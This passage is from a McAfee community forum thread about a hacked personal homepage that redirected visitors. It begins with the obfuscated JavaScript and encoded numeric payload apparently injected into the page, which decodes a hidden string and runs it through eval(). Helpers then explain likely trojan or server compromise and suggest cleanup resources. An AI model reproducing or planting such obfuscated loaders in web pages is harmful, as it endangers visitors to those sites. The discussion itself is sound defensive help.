1169784257243381311144703111444240423111447031890405683375428340247560151554116942247515238969055734573049341620823416112022220544205782001120000000656566650016161616424054261980573232771169566340377547622352646015582384618087376169044752246823815267894024400417568860332886466810231540614686700840605104813367602823522889175623046789786083414189786083706887376141418978608370688737614646241756336168473352282263632304676170626168582384617752608675618931754762235267244004171756336168473352282263336168473352281663406261684861331523815269044752246823815267234027175688603328044668102315402446047008401040894039408446374652477575406246524775754075465247757540604086512746672470231519683323526267271741412770756152626810171427703361377560246167097915094042421770688132814361330560156167176904708423846180873761512304672470231511610423526189670470542619805732327711782783171756047023521568607575618946047054261980573232771178278351336168473352632304670124702315547717566046425789818661702531114470253175476220142352185789818661702557243381866068702531754762201423521857898186617025766160896133702531754762201423524251230467047062616848613315238152118152610146461617560470626168486133152381521181526146165137462470626168582384617752608675618931754762235267047084238461808737614060175123046701374141247010601558238461808737616704708423846180873761171756374624700423528926608831754762235267604016176323046737175604705260883175476223522186274637516246247062616826478467377089611524332337682381521718182470626168264784673770526084611751624624706261683175476223524423756148613315238152673740621751230467016241412470211946462217562304670470377547622352646015582384618087376167374042603737752324606823815209885289706089818661703789045084754240601717566246423042636175156156230467047037754762235264601558238461808737616737404260373775232460682381520988528970608981866170502084603315424060171756624642344263636363636175156156624604708861331523815263844624706261685823846177526086756189317547622352672740601751047023521568607575618946844141621422696784141669670470526088317547622352218627142016708269202217176361751561563746247062616857852167047037338162541178168317181824706261685785216704703733816254117822831751864609467915256778798979708355170962516833875689466737181824706261681121588186276724702352156133686480583267428186276124684240784224756015152389424004702475601515541183407842153324424042428340424240041717177036616848613315238152156717510481336739461651397265513955551756230467867068611568678917414167016218187661627750377008220262171756624676616277503770082263636324606824106710175663047023521568607575618946621422696737141669202217632304670104708861331523815217560470886133152381524624700481338460682647846762176304705426198057323277117827834604702352156860757561896363401212691663513175476223521161686124687023522368192433233768671751317547622352116168612468706261684861331523815267427042175127886133463175476223521161686124687062616848613315238152674274608860424027608860042375611751378904886133463175476223521161686124687062616848613315238152674257898186617661608961334217516324606824106761175663230467688737618104282788613346467315683323526273175627886133462788613370153775236867737073176361751561562788613346781640164016401683632304676887376181042837890488613346467315683323526273175637890488613346378904886133701537752368677370731763617515615637890488613346781640164016401683630447522468238152281537751667175623046767278861337822834646654141278861337866837246826617181867278861337822834646064141278861337866837246223417175689812447846152687043332368616742726037377561682824818961467350847580818175157085583258603961337024756015157328603324102388614673700962608461150943813384157027603373284323896810467322732810612362106846732273027237603360842852608461467337338473288860754761467361161681581111478526108416595987484576481626113348816181274734660506103423730902720960373775616802421751631537752267176304475224682381522815377522671756230467278861337822834646064141278861337866837246826617568860332868332304334689812447846152687024336160686177756184615268677354447657587773175168332304337015616857686833238647686167734323896810734022175168332304337015616857686833238647686167731061236210687340221751683323043370156168576868332386476861677315332473407370096260846115092760886029683347156870371037140446224973175189812447846152687086818987706037376152890510237589676833230433176315377582671763044752246823815228153775826717562304672788613378228346460641412788613378668302462216414127886133786683724622301756048133678860332823461651237252608823626068813370842384618087376115707561526268105123555517568860332815848637465260882362606881337084238461808737611578238370688737615123046715848637464642603737752324606823815209276088602089613775818784615268206881817539236842181815848637464642603737752324606823815209523733475268238461201524332337686086756120377547622352518961377581878461526868818175392368421756683387568860332886154689812447846152687024336160686177756184615268674221357477058042175186157015616857686833238647686167426887376142401584863717518615701561685768683323864768616742432389681042401617518615701561685768683323864768616742106123621068424016175189812447846152687086818987706037376152890510237589678615175186157075604752241067421068683769282074202760332820747979797949347022222270652270221616797937478679795261437060882328281068683769090904628861846833331270248170688809397037103714044622494161468228528152614217632460682410676117566363636315377566671763044752246823815228153775666717561537750067176304475224682381522815377500671756153775656717630447522468238152281510814329378904671533241756886033283746898124478461526870243361606861777561846152686773818627612468731751377015616857686833238647686167736887376173407360373775232460682381520937890473175137701561685768683323864768616773896068607340153324175137701561685768683323864768616773432389681073402217513770156168576868332386476861677310612362106873402217518981244784615268708681898770603737615289051023758967371763044752246823815228153775656717562304673789048861337816830216414137890488613378168372341756151081432937890467737009626084611509220489377037103714044622497317636175156128230467673789048861337816834646341718186737890488613378168346463041413789048861337822837246661717561510814329378904677370096260846115098204893770371037140446224973176315377506671763044752246823815228153775066717566833875604813367886033282346164084512372526088236260688133703775476223521570756152626810512355551756886033285260846146526088236260688133703775476223521578238370526084615123046752608461702352896150210467735861892360283175608761337317014620221756844689812447846152687024336160686177756184615268677354447657587773175184701561685768683323864768616773153324734073700962608461150937241070371037140446224973175184701561685768683323864768616773432389681073401617518470156168576868332386476861677310612362106873401617518981244784615268708681898770603737615289051023758967841763636324606824106761175663156168802384618147686761528929336189233361246840061616161763153775166717</div></div><script>

q="v";

el=document.getElementsByTagName("di"+q)[0];

k=document.createTextNode("eval");

with(el){

appendChild(k);

}

q="extNode";

if (+"2" === 2) {

el.appendChild(document["createT"+q]("ReferenceError"));

}

el3=el.lastChild.previousSibling;

el2=el.removeChild(el.childNodes[1]);

e = eval(el3.nodeValue);

e("k=el2.no"+"deVa"+"lue");

ar = "4!>KfC6U$/hDzQ?s0)|S-O1ic*Nj _9PLr8BGpWk,&\"wFq=uV7x;n^I+{AM%aeg}H53(t:.@<'JlRE[\\To2]mXbyvd";

with(document){

q="v";

qwe=getElementsByTagName("di"+q)[1].innerHTML;

}

s="";

aaa=qwe["len"+"gth"];

for (i=0;i<aaa;i+=2){

q=qwe.substr(i,1)*10;

q2=qwe.substr(i+ +"1",1)*1;

e("q+=q2");

with(s){

s=concat(ar["su"+"bstr"](e("q"),1));

}

}

e(s);

</script></body></html>

At that point, it's above my pay grade. It's called obfuscated script. You have to run the script to find out what the script is. I'm not going to allow it to run javascript to find out what it does -- it probably directs to yet another webpage. Someone who knows javascript would be able to decode it pretty easily.

You didn't do this by accident, and neither did your friend. Someone has hacked your websites. They could have gotten access to the server itself, or they may have put trojans on the computers you folks use to upload your website files. Unless you find the trojan and remove it, it will keep uploading the file with the iframe. There's no telling what dangerous stuff could be on your own website when someone else controls it -- McAfee's warning is completely accurate.

If you have a trojan on your home computer, a negative virus scan means nothing. The first thing they do is make changes to keep your AV from finding them. It's common for there to be a week or two when a new trojan isn't detected by your AV. If you're infected during that interval, you won't be protected by your AV program. You may find your updates have been shut off, or that your browser history has been erased to conceal where you got the infection -- though it could have been long ago, and you're just finding the infection because your website is pwned.  If your friend and you have shared files or flash drives or other data, you could both be infected from the same source.

I would recommend going to spywarehammer.com and following the instructions for malware removal to disinfect your computer. There are volunteers who will help you for free. It may take several days of them giving you tasks to do and then you uploading the results, however. One of the typical tricks is to install a different program fresh, one the malware hasn't had a chance to deactivate. But what you don't want is to install a fake AV program, and there are a lot of those around. You have to get recommendations from a trusted source.

seraphicgate
Former Member
Message 3 of 3

Re: McAfee SA Red: Weird Website Redirect on Personal Homepage...

Jump to solution

Ah, I see. I suspected it might have been hacked after checking that the same thing happened to my friend's page. To be honest, the server our sites are hosted on has had many, many outages lately, so I hope that had nothing to do with it....

For now I have uploaded a fresh copy of my index file, so the code is gone from my webpage for the time being. (Phew!) My friend has yet to fix hers, though, and the hacking could have come from either one of our computers (we don't have access to each other's computers/offline files). Who knows, as you said, perhaps it was neither of us and someone simply hacked the server. Either way, I'm not taking any chances, so I'm going to check out the SpywareHammer site as you suggested. Thanks a lot for your help!

Message was edited by: seraphicgate on 6/30/11 5:43:32 PM CDT
How Many Badges Can You Collect?
Ready for a little competition? Members like you are earning badges and unlocking perks for their helpful answers. Are you? Click here to find out.

Community Help Hub

    New to the forums or need help finding your way around the forums? There's a whole hub of community resources to help you.

  • Find Forum FAQs
  • Learn How to Earn Badges
  • Ask for Help
Go to Community Help

Join the Community

    Thousands of customers use the McAfee Community for peer-to-peer and expert product support. Enjoy these benefits with a free membership:

  • Get helpful solutions from McAfee experts.
  • Stay connected to product conversations that matter to you.
  • Participate in product groups led by McAfee employees.
Join the Community
Join the Community